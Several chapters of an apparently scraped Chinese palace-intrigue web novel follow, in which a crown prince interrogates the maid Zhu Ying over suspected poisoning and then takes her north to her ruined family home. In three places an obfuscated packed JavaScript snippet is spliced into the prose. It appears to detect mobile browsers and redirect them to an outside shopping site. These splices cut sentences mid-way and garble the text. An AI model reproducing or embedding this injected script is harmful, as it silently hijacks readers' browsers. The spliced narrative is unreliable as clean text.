孟闻没有转头，依旧低沉眉目，宛如沉思，慢慢道：“且说来。” 商音回禀道：“鸿嘉殿确实有一内官，名唤长芨，昨年冬在秘阁当值，十一月初五摔伤了腿，告假修养了半月。” 十一月初五，正是竺影第一次去西苑。 孟闻道：“时间是对得上了，可秘阁的人是怎的调去了御前？” 商音道：“冬至后，陛下召几位大臣入宫赏雪，长芨是跟随秘书令去的，不过说了几句讨喜的话，引得陛下展颜，陛下就让他到御前侍奉了。” “原来如此。”孟闻轻嗤道，“皇兄与秘书令，何苦绕这么大一个弯子？” 他读完《文赋》的那页，合上封面将其放回书案一角。 商音几番忖度，又向他请示：“属下还查出一些事，是关于竺宫人的……殿下是否要听？” 孟闻抬头，道：“说吧。” 商音道：“她初到掖庭时，与女郎君一样，原本只是个粗使宫人，在掖庭当值。可不知后来发生了何事，竟犯下大过，是在十一年秋，她与其他罪奴一道被送去了林场。” 孟闻问：“可知她犯的什么罪？” 商音答道：“下毒，她在宫宴上毒害薛贵人。” “下毒么？竟会是她做的？”孟闻抬眼扫过桌上散落的山黄皮，目光最终落定于那卷书的封面。轻轻叹过，又低敛眉睫如初。 倒与过往有些割裂，不似同一人。 他道：“还查到什么，尽数说来。” 商音道：“毒害妃嫔本该是死罪，可是进了林场，也与死差不多。我问了当年去过林场的人，那些被罚入林场的罪奴都死了。不是被马匹踩死、乱箭射杀，便是死于虎狼之口，只剩她一个还活着。谁也没想到齐王阴差阳错将她救下，又带回宫里。” 孟闻道：“这就是全部了吗？” 商音道：“只查出这么多。” 孟闻似想到了什么，喃喃自语：“那么她又是如何与孟觉扯上了关系？仅仅因为她对薛贵人下毒，你真信了他们明面上的那点母慈子孝？” 他虽与之多年不见，对两位兄长的秉性，还是了解一二。 商音道：“那这样的人，殿下是否还要留着？杀了她，恐得罪齐王，留着也终究是个祸患。” 太子忖度了许久也没给出个论断，看来是真为此人犯了难。 她也是个不知死活的，胆敢与这么些人扯上关系。 思来想去，有些头疼。 杀也不是，不杀也不是。 他一下一下叩着桌面，低声叹道：“襄王、齐王、静和宫、鸿嘉殿……有多少双眼睛正盯着这里啊……” 商音道：“今日襄王派了人来，说是要与殿下同往并州，便于协助殿下，实际就是……” 逼他做个抉择。 离启程只剩短短四日。 孟闻起身行至窗前，似自问道：“说什么协助，看来并州也有他想要的东西？” 商音道：“自然。陆尚书回京后，北地之事便交由梁氏接管，襄王与其牵扯深广，定然会有所担忧。” 殿外有人叩门，徴音为太子端了药来，搁在案上。 孟闻仍站在窗前，徴音出声提醒道：“殿下，药煎好了。” 孟闻道：“先放着罢。” 商音皱了皱眉，问：“殿下近日染病了么？” 徴音本想开口解释，孟闻却道：“近来疲乏，于是命人备了一碗安神汤。” 他缓缓侧目过来，看着商音，本欲开口问：我能否信得过你？ 毕竟这是皇帝指派给他的人。 末了，他没问出口，只道：“届时你且留在宫中罢，同行之人，我另有人选。” 也不等商音再回话，便端起那碗汤药，独自踏出门去。 已过正午，日头西斜，昏黄的阳光透过门框与窗格，漏进屋子里，铺陈了数格光影。 章太医刚走不久，陆芃正在为竺影敷上膏药，细细缠上布条。 几道不重的步行声渐近，屋中落下一道影子，有人走进屋中来。 见是太子，竺影要起来行礼，被陆芃摁了回去，又重新缠了一遍布条。 “啧！”陆芃咕哝道，“没包扎好你乱动什么？” 孟闻没有说话，只端了碗药放在案上，碗底磕不轻不重的声响，使竺影忍不住窥了一眼。待他收回手，灰褐色的药汤还沿着瓷碗边缘晃荡。 陆芃随口一问：“太医还开过别的药吗？” 他并未解释，只撂下一句：“你先出去。” 竺影刚要站起来，又听他道：“没叫你出去。” 陆芃道：“这又是怎么了？” 孟闻道：“出去。” 他依旧那副样子，一手握成拳垂在袖间，神色微嗔。 陆芃为竺影包扎好，剪去多余的布条，将剪子往案上一扔，气鼓鼓走了。 商音将两扇门合上，顷刻屋中顷刻暗了一片。 竺影这才看着他，在昏暗的光线下，有一半身形匿在窗纱的影子里。 她问：“秘书令已经回去了，殿下可还有事？” 孟闻捋起垂下的阔袖，露出手来，摊开伸到她眼前。 他问：“这个你可还记得？” 竺影看到他掌中展开的绸巾，里面包裹着那几枚果干。 她微微点头道：“记得的，殿下。” 孟闻道：“太医署的人查验说，这些山黄皮全都用硫熏制过。” “怎么可能？”竺影死死盯着那所剩无几的“罪证”，话音又坚定几分，“绝无可能。” “听徴音说，这是你特意送来的。” “是。” 他忽而戏谑：“难不成有人要诬陷你？你不妨看仔细些。我倒不急着定罪，给你辩解的机会。” 如何去辩？ 她一扬手本要拍案而起，却只能死死撑住案角，强迫自己冷静下来。 给冷宫里送这些本就不是她的本意，不过是陆芃所托，她顺手而为之，谁能想到问题恰恰就出在这里？ 她不曾动过手脚，有机会做手脚的人，不是陆芃，就只剩陆皇后身边的人了。 总之不论是谁，在孟闻眼中都比她这替罪羊更可信些。 孟闻问她：“你懂医术，算半个医者，医者也会下毒吗？” 她答：“难说。医者只会更善用毒，知道什么样的毒可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564190|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以了无痕迹，杀人于无形。如果真是我做的，还须得只身前往西苑，当面送上这么明显的罪证，是我蠢还是殿下蠢？” 他再道疑虑：“可我想知道，山黄皮为岭南所产，你在深宫之中，如何有本事弄得到？” 她不知道屋外的陆芃是否能听到，她情愿是陆芃不知情，为旁人利用。 竺影强撑着直起身，平静道着谎：“我的家人获罪流放到那里，那些山黄皮是去年随家书一并托人捎回来的。” “家书？”他像是觉得不可思议，在反复确认。 竺影失笑道：“奴婢也是人啊，也是有家人的。” 孟闻看着她，道：“那孟晓知道吗？” 一字一句落下，她面上再难见笑意，取而代之的是脸庞低垂，缄口不言。 “看样子是不知道了。” 孟闻替她答。 “齐王从来没有生过谋害皇后的心思，安知不是有人暗中挑拨？”她停了一会儿，某种不属于她的悲哀，像雾霭莫名聚在心头，朦朦胧胧地让她自己也看不清。她又道，“我也没有。” 虽是实话，声音却一点点低落下去。 孟闻道：“你连自己都辩不清，怎么替他人作保？” 他胸中有千言万语未诉出口，最后却凝成了一句：“我本不该信你。” 可当初她一次次冒着风雪前来，裙裾与鞋袜具浸湿在雪里，一为送书，二为送药，三为送松枝，那样子又如此虔诚。 那时他心想，纵使有害人之心，也不必这样费周章。于是他想知道，值得她为之蹈风赴雪奔忙的，究竟是什么。 可他还是错了，欲念是会害死人的。 这些将呼未呼的话，化成一道似有若无的叹息，轻飘飘带去所有情绪。 孟闻端起原本搁着的药碗，递到她面前，语气稀松平常。 “药凉了，喝吧。” 竺影的视线落在那碗药汤上，她何德何能，能让太子亲自端药？ 那玉色的指节扶着碗缘，却像扼在她喉间。 “我无病无痛——” “喝了。” 那碗又往她面前递了几许，没留拒绝的余地。 竺影战战兢兢捧过药碗，一饮而尽，古怪的药汁里，苦与甜泾渭分明。 俯仰之间，听得见心跳声。 他突然发问：“就不问我给你喝的是什么？倘若是会令你穿肠烂肚的毒药呢？” “殿下，竟不先给我安个罪名吗？”竺影笑着问。 她五指扣着空碗，费尽力气将碗放回桌案上，却还是一个不慎叫它滚落在地，裂成了几瓣。 陆芃听到屋里的动静，想要进来看看，被商音抬手拦在门外。 “女郎君，你不能进去。” 竺影已懒得顾及门外人在争执什么，只觉得地上的碎瓷尤其碍眼，惹人心烦。 她想俯下身去收拾，转被孟闻扼住手腕，如陷桎梏。 “松手。” 明明箍住她腕骨的是他，说这句话的也是他。 竺影尚不知其意，他已一点一点掰开她的手指，夺走她攥在掌心的碎瓷片，丢掷在地。 手掌上鲜血淋漓，连他锦袖上都沾染几滴，她却没有察觉半分痛意。 伤在他手。 血液沿着他骨节的凹陷处流下，他低敛的眉睫终宽和了些，面上慢慢浮现忍俊不禁的表情。 竺影额发汗湿，面色苍白，惶恐地盯着他看。 她素来看人很准。 她以为他活过了上一个冬日，活着走出西苑。 不想在昔日少年的皮囊里，只剩下一个疯子，藏在齐楚衣冠下。 睢言不顾指上的血渍，挽起竺影耳边垂下的鬓发，绕在指尖。 暮光映照下，他也在观她。 半晌，竟不忍失笑：“不过吓一吓你，怎么脸都煞白了？原来也是惧死的啊……” “怕死的话，又是怎么敢在我眼皮子底下，帮齐王办事的？” 27. 春回醒枝（七） 竺影心口颤了颤，下意识还是想回避。 往后一仰，一缕鬓发还缠在他指尖，鲜血一滴滴渗进她发丝里。只有几丝几缕，却像一盆凉水，浇得竺影浑身冷透。 “小人岂敢？”她想退而退不得，声音也发颤。 “你不敢么？”他眉眼弯起，唇边带着笑，像是在听一个笑话。又道：“想知道为何你处处慎微，却还是被人捉住了端倪？” ……她何时露了馅？被这人捉住了把柄？ 竺影清晰地意识到有汗珠自她额上滑落，留下痕迹的地方有些发痒。 下一刻，他竟说：“正是因为你太谨慎了，什么错处都没有，这才是最大的破绽。” 竺影哑然。 她在心里痛骂，这来日的昏君啊。 欲加之罪，何患无辞！ 她张了张嘴，终是没忍住辩驳：“殿下不惧杀伐，要处置谁无非一句话的事，何苦特意端了一碗药来，戏弄小人？” 孟闻反问：“是你先戏弄我的，不是吗？我听来些许风声，有关你的过往，当年因毒害妃嫔，与那些死囚一并送进林场。东宫的女史，本应该是个死人罢？是谁帮你改了名，换了姓，使你活到了今日？” 竺影不语，孟闻替她道：“是齐王。” 若真如此，那她还真是罪无可恕。 竺影认命似的闭上眼，说道：“倘若殿下认定小人有罪，且将小人拖出去，就地杖杀了，岂不省事？” 孟闻敛了笑意，说道：“你以为我不敢吗？” 陆芃听到这动静，再也坐不住了，揪着商音质问道：“里头到底发生了何事？是你同我表兄说了什么？” 商音面无表情别过脸去，无可奉告。 她便自己去敲门。 “表兄，我正有事，你先开门。” 竺影转过头去看了一眼，又被孟闻拽了回来，偏不应门外的人。 “表兄，开门。” 急促的敲门声转而变成大力的砸门。 “孟闻！给我开门！你到底发的什么疯？” 可是无一人理会，她着急了，索性直接踹门，一旁的商音也拦不住。 巨大的动静像是要把他这宫殿都拆了。 孟闻闭上眼睛，对着竺影无可奈何道：“你可真有本事。” 随即撒开了手，前去开门。 陆芃见了人，赶忙抹干了眼泪，先对孟闻劈头盖脸一顿痛骂：“因何又要打打杀杀？你有什么话不能先问我？好好的又逼问她做什么？” 后骂竺影：“你从前的谄谀哪里去了？宁死也不肯说句软话是吗？” 孟闻一手拦着门，不让她进去，面无表情道：“这些事与你无关。” “怎么就与我无关？”陆芃哭着道，“当年在掖庭犯下错的是我，原本要被送去林场的人是我，她是去为我顶罪的！” 万万没想到。 “怎么会是你呢？” 他明显有一瞬的愣神，不过又很快归于平静。那一瞬是权衡，怜悯，还是不可置信，竺影看不懂。 起初他笃定，这女官与襄王、齐王的纠葛始于多年前的一场秋猎，可未尝料到始作俑者并非是她。 下毒者另有其人。 孟闻垂下眼，冷声斥她：“你该住口了。” “让我进去。”陆芃才不管他说了什么，只顾着挤进屋子里。 屋里散落着碎瓷片，地上掺着几点血迹，她忙捧起竺影的手，问她：“哪里来的血？” 孟闻扶着门框，在乌木上留下几道血印。 他看了门外的商音一眼，心情颇为沉重。 屋中尚有不可信之人，屋外也是。 可是眼下，他无法再逼问了。 只吩咐商音：“回去，遣人来收拾这里。” 商音应了声“是”，便也退下。 一片狼藉，潦草收场。 只是经此一遭，竺影接连两日没去洗春阁，陆芃拦着不让她去了。 陆芃如今留在东宫，太子向杜修容开了口，修容也乐意送他一个顺水人情。 可她还是成了孤女，沉冤昭雪之前，只能藏在深宫中，一日一日数着年月过活。 孟闻很少问起她的事，不欲去揭她过往伤疤。 那些陈年旧事如一柄利刃悬在心口，使他不得不去在意，不得不去探究。 日子滑过了三两日，雨过了，天晴了。 陆芃独自一人在亭子里，配置新的香料，借此打发时光。 见孟闻来了，她也懒得起身行礼，只是寒暄一句：“太子殿下，今日得闲了？” “嗯。”孟闻淡淡应了一声。 陆芃道：“我又新配了几味香料，可以宁神，装进香囊里，你拿去挂在书房吧。” 她递过去香囊，本要就此打发了他。 孟闻却顺势坐下。 陆芃叹道：“想问什么，就问吧。趁我还情愿说。” 孟闻遂问起：“你与她，从前就认识吗？” “很早就认识，在她入宫以前。”陆芃没有否认，也没说起更多，就好像她们之间仅仅是相识。 “后来呢？” 陆芃道：“后来你知道的，她父兄获罪，我家中遇难，就都进了宫。” 孟闻道：“我问的是，她是怎么到了静和宫？” 她动作忽然一滞，又装作若无其事地捣着香料。 “表兄问我吗？静和宫里的事，外头的人哪里知晓？” 孟闻道：“我若能问静和宫的人，就不会来问你了。” 陆芃避重就轻道：“我只知晓齐王曾于她有恩，或许留在静和宫，是为了还这一桩恩，她最不喜欠旁人恩情。又或许——齐王许诺了她什么事。她有没有同你说起过，她情愿进宫，是为了救她家人？不然她本不必像我一样，被关在这里。” “她与孟晓呢？” 陆芃仅仅撂下一句：“不清楚。”又开始费劲捣起香料来。 “当真不清楚？” 陆芃道：“不然呢？我从前在栖梧宫，闲着没事打听静和宫的事做什么？” “好，我知晓了。”孟闻像是察觉到什么，却也没在问下去。 临走时，陆芃突然道：“表兄，你带她去云琅吧。” 孟闻问她：“是她让你同我说的？” 她点点头，又摇头。 矛盾得很。 “是我替她说的，我欠她的。” 哪怕多年隔阂，陆芃自以为还懂她。 竺影没给出他想要的回答，这几日气氛有些紧张，她压根不想多到孟闻眼前晃悠。 直到徴音替太子传话，寻到竺影房中。 “殿下要见你。” 话音落下，屋里也落下一声微不可察的叹息。 竺影放下手中的书卷，起身道：“你带我过去吧。” 徴音却道：“殿下不在恩光殿里，在揽春台。” “揽春台？” 竺影不知道他为何偏偏选了这么个地方，须知不久前的春宴，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583270|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是在这里与孟明谌见了离京前的最后一面。 大晚上的，提灯走夜路，她到底还是有些心虚。 无数的枝条横在夜幕中，撕裂了惨白的月亮。 竺影站在台阶上仰头张望，他站在春台上，唤她上来。 她拾阶而上，目之所见也愈发开阔。果然这处风景正好，可以看到一整轮完整的明月。 可是再走近一些，她就不敢了。 他一个人站在那里，周围没有旁的侍从，玉冠在夜里散着莹莹微光，轻薄的广袖浸在月光里浮摆。恍然间，如遗世独立。 竺影停在离他很远的地方，行礼道一声：“殿下。” 闻声，太子的目光倾过来，他说：“走过来些，这处月色更好。” 谁来与你赏月啊？ 竺影暗自咕哝着。 正是两党相争，剑拔弩张之际，她满心忐忑前来赴约。 这人却说今夜月色很好，邀她到春台之上，赏同一轮月光。 他好像忘了，前几日他曾以她性命相要挟，迫使她屈从东宫。 竺影没给出他想要的回答。 春台落下的月光成绮，夜风微凉拂过钗头，惹得碎发如愁绪飘动。 今夜的他，却过于温和。 这温和让人不寒而栗。 竺影慢慢朝他走过去。 待她过去了，孟闻却只是赏月，不开口。 “殿下应当有许多话想要问我，为何此时没有问起？或许殿下想知道当年竺家流放三千里，我又是如何入的宫。想知道我是怎么从林场里活了下来，襄王的腿伤又是怎么来的，还有……他为什么恨我。” 他目光侧过来，看着她道：“可以不说。” 他为何不问了？是因着她替陆芃顶罪的事，于心不忍吗？ 其实她早就备好了那一套措辞，只等他问起的。 竺影道：“其实没那么多弯绕，几句话便可说清，也免去殿下每日猜忌了。” 孟闻偏过头，其实他不想在此时听这些，他只信人濒死时的“真话”。 可当她慢慢说来，如弯绕的风一样柔和，孟闻遂由着她去说了。 “宁朔十一年，天灾过后，秋草稀，走兽绝。 “本该封山、休渔，让天地万物休养生息。皇家却在林场办了一场极尽荒唐的秋猎。林场里没有足够的猎物，是故死牢里的囚徒，犯了错的宫奴，都成了诱饵，诱着藏于深林的豺狼虎豹出没。 “我也在其中。” 孟闻显然高估了自己，他无法做到眼前人这般平静，平静地诉说国朝残酷而荒唐的所为。 他问：“既不是你的罪过，为何要去？” “因为殿下的表妹，她蠢啊。她去了必死无疑，而我，有三两分把握能活。” 竺影接着道：“十二岁那年，我随父亲去过一次林场，熟知那里的地貌，知道怎么用草药遮掩气息。所有的人中，我是藏得最好的那一个，我以为这样就能活。可秋猎结束前，襄王还是找到了我。他挽弓策马从我身前过，箭矢了对准我的胸膛，就是这儿。” 她轻点了点自己的心口，不知怎的就笑了。 “竺影。” 孟闻不想再听她说下去。 这一声呼唤并没能使她停下。 “倘若那一箭射出，我必死无疑。可惜啊——他骑艺不精，从马上摔下来，断了腿。那时，还是二皇子的齐王看到了一切，他知道是我做的手脚，是故——他留下了我。所有的一切，就是如此。” 28. 春回醒枝（八） “我说完了，殿下。” 竺影睁着一双明亮的眼直视他。 这些话中，难得没有谎。 她言说过后，孟闻却缄默了，喉间哽住了似的，始终没有开口。 只看她眼中亮晶晶的，像盈满了月光，仿佛再多一些就溢出了。 往仔细了看，那不是月光，是泪光。 可那她的泪终究没溢出一丝半点，很快随风干涸了。 并非出于恻隐，他只是不愿见人这幅情态，这幅样子。 那双眼怎么看，都不像装着那么多阴谋。 否则他想不出，是什么样的情谊，值得她为了旁人甘愿走进围场，乃至连性命都不顾。他没有问，陆芃也没有说。仅有只言片语轻飘飘地带过，拼凑出一个并不完整的她。 他不说话，竺影又开口道：“小人斗胆，说了这么多，放肆了。殿下可还有其余话要问？” “没有了。”孟闻看向别处，说道，“叫你来，不是问这些的。” 竺影道：“若无旁的事……” “有。”他答得干脆，不给她半点临阵脱逃的机会。 孟闻记起此行的目的，问她道：“你在云琅长大，对并州的事，了解多少？” 竺影想了想，回道：“我十二岁就随父亲到京城了，此后再没有回去过。从前的事，记不得多少。” 孟闻道：“若我说，此次并州之行与你父兄有干系，你仍旧作此答复么？” 竺影愣了，原来在这儿挖了坑等着她，还是承认了她的欺君之罪吧。 “殿下恕罪，小人虽忘了许多事，但仔细想想，也是能依稀记得起一些的。” 孟闻道：“侍郎容桢，与孟觉派来的人，我皆信不过，此行，我需要你与我同往。” 竺影觉得有些不可思议，莫非在太子殿下眼中，她就信得过了？ 岂不知不久前，她还是被宜夫人推出去顶罪的替死鬼，谋害陆皇后的嫌疑尚未洗清。 这一切都太过顺遂，她不知孟闻是何时开始转变，或许是陆芃同他说了什么。 孟闻道：“不久前，襄王曾向我讨要你，我当时说，留你有些用处，如今该是兑现之时。” 竺影道：“小人记得。” 这话落在竺影耳中，就是赤裸裸的威胁。 若她有朝一日背弃了东宫，或是于太子毫无用处了，太子会如何处置她？ 把她交给孟觉吗？ 旧恨加上新仇，孟觉自有千百种方法，叫她生不如死。 她此时不敢反驳。 孟闻又道：“可曾听闻鸿初年间发生的一件事？” 竺影问：“是何事？” 孟闻道：“多年前，会稽的周家出了个世间鲜有的英才，名声之大，甚至盖过了当今祝令君。后来民间就有了传闻，说得此子与祝君，则天下可定矣。然而上京的人不蠢，谁都看得出来，是有人在借机造势。后来流言传入了宫中，先帝召那周生进京，要试一试他的本事。你猜后来如何？” 竺影道：“周生有谋，却不知审时度势，今上方一即位，便杀了他。” 她曾听人说起过这件事。 不论是朝中重臣，还是一国天子，都不容许搅乱国朝稳定，打破朝堂平衡的因素存在。 再好的利器，也要握得住，才能称得上有用。 至于那些不堪为用的人，斩草除根一劳永逸，是最简单的办法。 孟闻道：“你很聪明，这也就是为什么孟晓留下了你。可聪明也不见得是好事，有时，会害了你的性命。” 聪明？ 说的是她吗？ 竺影还以为他喻指的是如今的祝从嘉。 他接着道：“留你这样的人在身侧，是变数，也是祸害。我不敢赌，也没心思去赌你的忠诚。” 他果然还是不能完全信任她。 孟闻道：“我明日将往北地，至于你是否要跟着去，来日是要留在东宫还是齐王府，由你自己来选。” 他说完了便拂袖而去，将要离开这高台，不给竺影忖度的时间。 真是个狡猾的人呐。 竺影一边想着，一边跟上他。 月色广袖翻飞在她眼前，他的发丝一丝不苟地被束起，唯有两条发带在飘荡。 月亮一寸一寸地西移，慢慢被高处的枝柯割裂。 他明知她父母在并州，知她故土在云琅。 权宜之计，眼下除了东宫，她根本别无他选。 但这位太子也是可怜，偌大东宫，竟连一个可信之人也无，不然怎会将筹码落到她身上呢？ 竺影一面追上他，一面说道：“愿与殿下同往。” “好。”他唇角牵起一抹弧度，“行李已替你收拾妥当，明日卯时动身。” 竺影哑然，他就没有考虑过她会拒绝吗？ 回到东宫，她房间的灯竟亮着。 推门进去，原来是陆芃正在给她收拾衣裳。 陆芃道：“听闻北地很冷，你多带几件外衫吧。” 竺影问：“去并州的事，是你跟他说的？” 陆芃道：“我没说更多，更没有说你和祝家的事。” “嘘——”竺影比了个噤声的手势，又将陆芃装好的衣裳拿出来几件，“开春了，并州不会冷。” 陆芃道：“你多少年没回去了？岂知现在的并州是什么物候？” 竺影听完默了一阵，并州云琅城是她的故土，可她已经很久没有踏入故里。 整整八年。 于她而言，那个地方实在算不上熟悉。 陆芃察觉她情绪不对，便与她聊些别的事：“今日我要替你装一套墨宝，竟被我那表兄责骂了，他同我板着脸道，这些无用的物件少带些，她又不是去消遣的。你瞧瞧，他说的什么话？” 她奚落完太子，竺影又笑了。 竺影几乎一整夜没睡好，她要去云琅的事，太过突然，没机会告知任何一人。 孟晓不知道，祝从嘉也不会知晓。 像是孟闻有意而为之。 前路未知，怀着一种怪异的情愫，她随东宫的队伍，踏上只属于她的“归途”。 除了护卫的数百甲士，太子此行只带了角音这一个亲信，那个叫做商音的没有跟过来。 竺影同照顾太子饮食起居的宫人挤在同一辆马车里，跟在他的轺车之后。 而后是随行的官员，有十余个，竺影只认得容侍郎。 这一路行得很慢。 初春的郊野，没有什么好景致，途中也颇为无聊。 那几个宫人同她聊不到一块去，竺影一个人时，只能靠翻书消磨时间。带的书也不多，一篇叹逝赋，她翻来翻去读了数遍。 又入夜了，离最近的城池还有八十余里，队伍已经疲乏不堪，连拉车的马屁也驱驰不动，只得在野外驻扎暂歇。 星垂平野，旷地上升起了篝火。 竺影坐在火边，没什么事做，依旧是翻书。 角音捧了一堆柴薪过来，骨碌碌一把丢进火堆里，溅起噼里啪啦的火星。竺影赶忙合书退远，却还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啧。”竺影暗骂了一声，挪着步子穿过稀稀落落的野草。草上露珠挂在她裙摆上，等到膝上传来寒意，腕骨也隐隐作痛，竺影她才发觉，北边的春来得更迟，夜里还有寒露。 竺影道：“这儿冷啊，殿下，怎么不到篝火那儿去？” 孟闻道：“人多，太聒噪。” 若是嫌人声嘈杂，大可以将那些人赶离篝火堆，他偏偏不这么做，只是一味拉她一起吹风受冻。 原来刻薄的太子殿下也怀揣着一颗仁心，不忍旁人受冻。 怎么？他的仁心分给了别人，刻薄只分给了她么？ 竺影又腹诽许久。 孟闻就着干草堆，席地而坐，继而看向她：“同我说说云琅的事。” “啊？”竺影也坐到他身边去，问他，“云琅的事多了去，一时半刻讲不完的，殿下要听哪一些？” 他道：“还有四日才能到，时日长得很，便从最远的说起。” “哦。”她不情不愿地应着。 原来拿她当消遣。 于是她真挑了最远最远的话头，慢慢说起： “梁国之北，有山高耸入云，山间雾霭环绕，凝聚似琳琅，风过如鸣玉，故而当地人将这山唤做云琅山…… “山下有城，亦名为云琅。” 29. 春回醒枝（九） 快到时，孟闻叫她把车帘放下，车舆里倏尔变得昏暗。 云琅瞿太守及一众官员，早已经在城门外敬候着了。 然而，随着轺车缓缓驶向城门，竺影发觉自己并没有想象中的那般期待。 她明明知道，那里已经不剩下什么。 透过车帘狭窄的缝隙，只能看到外头的一丁点光景，除此之外只能辨听。 外面安静极了，没有人声，只有马蹄声阵阵，车轱辘碾过土砖的声音。这一段路很平稳，当是刚刚铺设了新路。 此时的云琅，不会有百姓高声喧闹，奔走相告。 没有人会因君主驻跸而喜悦，他们所能想到的，只有国朝永无止境的剥削。 这座城跟她所说的云琅，宛若泥地与云端，两模两样。 就连车马扬尘的气息，都与从前大不相同。 至于车上的太子殿下，他合书放在膝上，在座上端坐着，一言不发，活像一尊雕像。 竺影看了他一眼，转又瞟向车外。 马车离了人群，驶过几棵高大的青松，长驱直入向城北而去。 马车突然停住，竺影一个没坐稳，身体向前摔去，便赶紧伸手一扶，攥住了孟闻手里的书…… 竺影仰头尴尬地笑了笑。 他嘴角一抽，似无奈道：“给你。” 太子只一松手，先行下了车，那本叹逝赋又回到了她手中。 一路舟车劳顿，总算是到了。 竺影下了马车，抬头看去，只见着古朴的府门，门上挂着四四方方的乌木匾额，赫然写着金灿灿两个大字——梁府。 也是曾经的竺府。 现如今，这座府邸的主人是并州中正梁叡，也就是中书令梁元颖的族弟。 身后忽然有宫人唤她，竺影收回了视线，垂首讷讷叹息。 梁氏的人已经迎太子与几位随行官员入府去了，剩下的内官忙着搬运行李。 竺影与那几个侍奉殿下起居的宫人聚在一块，从偏门进去，一路到了后院。 坐了数个时辰的马车，她们还没来得及歇息，一个个抱起床帐褥子，随管事去了为太子准备的客舍。 那是一间四四方方的院落，庭中宽敞又明亮，一棵石榴树卷曲着枝干攀上院墙，在主屋前落下一片阴。两侧各有一间耳房，留给随行的侍者。 宫人们进了门，先把原有的陈设撤了，随后利落地铺好床褥，悬了床帐，置上软枕与锦衾，又将太子可能会用上的墨宝、茶盘什么的，也一并摆了出来。 竺影单单抱着一本书，不知道该做些什么，只顾在一旁碍事。 里间布置好了，又该焚香。 宫人本拿了宫中的香料出来，梁府的内院管事却唤来一个童子，捧了错金螭兽香炉出去，随后请几位宫人将屋里的暖帘都放了下来。 不久，有仆从来禀，太子从前厅过来了。 管事便将那暖帘卷了起来，香气竟从地缝、砖缝里渗透而出，不知不觉蔓延了整个里屋。 连宫中人都不免感到惊奇。 竺影也觉得惊讶，姓梁的，当初竟然连她家的墙都拆过一道了啊。 管事笑着解释说：“如此焚香，方不见烟气。” 有宫人道：“只惜殿下未必会喜欢这香，下回还是用我们自己带来的吧。” “是。”管事连连点头，“有劳几位贵人了。” 太子来到内院，角音跟随其后，梁府的仆从跟在最后头。几位官员分在了另一处院子的客房，独他这里宽敞又僻静。 孟闻从回廊走进树荫里，进门解了外衣，脱去鞋履，剗袜步上木地板，另有宫人接过他摘下的环佩与戒指。 卸去周身桎梏，他才如释重坐在榻上，费劲揉了揉眉心。 也不知道方才在前厅聊了些什么，惹得他如此精疲力竭。 趁他还没躺下，竺影凑上前去，问了一句：“殿下，我能四处走走吗？” “去哪里？”孟闻问她，“是在城中，还是在这院子里？” 竺影道：“就在府里。” 他没多想，点头道：“可以。” 她得了准许，行过礼便迫不及待出门去。 “角音。” 孟闻又唤角音前来。 角音道：“属下在。” 孟闻道：“你跟着她去。” 角音极不情愿：“凭什么？” 他只负责保证太子的安全，至于东宫的宫人，与他有何干系？ 见使唤不动，孟闻遂换了个说法：“去盯着她。” 果然啊，他就猜到此女子有问题。角音当即点点头道：“这就去！” 此时前院挤满了人，府里下人忙着布设今夜的筵席，为宫里来的贵人接风洗尘。 竺影便只在后院里晃悠。 梁府除正门还保留了原样，只更换过匾额，府里的布局全都变了样。原本家里崎岖不平的泥砖，换成了光滑的青砖，屋上的灰瓦也换成了琉璃瓦，墙下的竹丛连根铲了，改栽金粟，今也亭亭如盖。 这个时节，不见开花，只有一片郁郁苍苍。 竺影再没能从这里，寻到记忆深处里的竺家。 一连穿了几道廊，除了后院婢子的来来往往，还有一道脚步声像尾巴缀在身后。竺影定了定神，认真听辨，好似有人在跟着她。 回头一看，原来是角音那个缺心眼儿的。脸也黢黑，衣裳也黑，只睁着一双圆溜溜的眼珠子觑她。 便瞬间放下心来，任由这厮跟随。 她沿着墙走，四处张望，为的是找寻一面墙，一面镶着流云石壁的墙。 家人流徙至交州之前，祝令君领她到城外相送。那时父亲告诉她，竺府后院有一石壁，其后藏了一件很重要的东西。 他却不说是何物，竺影只猜到，应当和当年的北地之事有关。 她眼下要找的，是一件未知之物。 可是越往里走，越是迷茫，一点头绪都没有。 后院的墙都是新砌的，清一色平整的青砖，里里外外，都找不见一壁饰有石刻的墙。 安知当年拆家，他们有没有掘地三尺？哪里还有什么东西剩下？ 后院的陈设改了，竺影只能凭着幼时的记忆，勉强推测出大致的位置，就这样寻了几圈，一无所获。 角音远远跟在她后面，抱臂看着，有些摸不着头脑。 等她回了，商音也回去给太子禀事。 屋里散着靡靡的香气，孟闻并未休憩，倚坐在榻上翻看瞿太守呈上的并州灾情与受灾名册。 “殿下。” 商音走进来，隔着纱帐，向里间行了礼。 “嗯。”孟闻随手翻 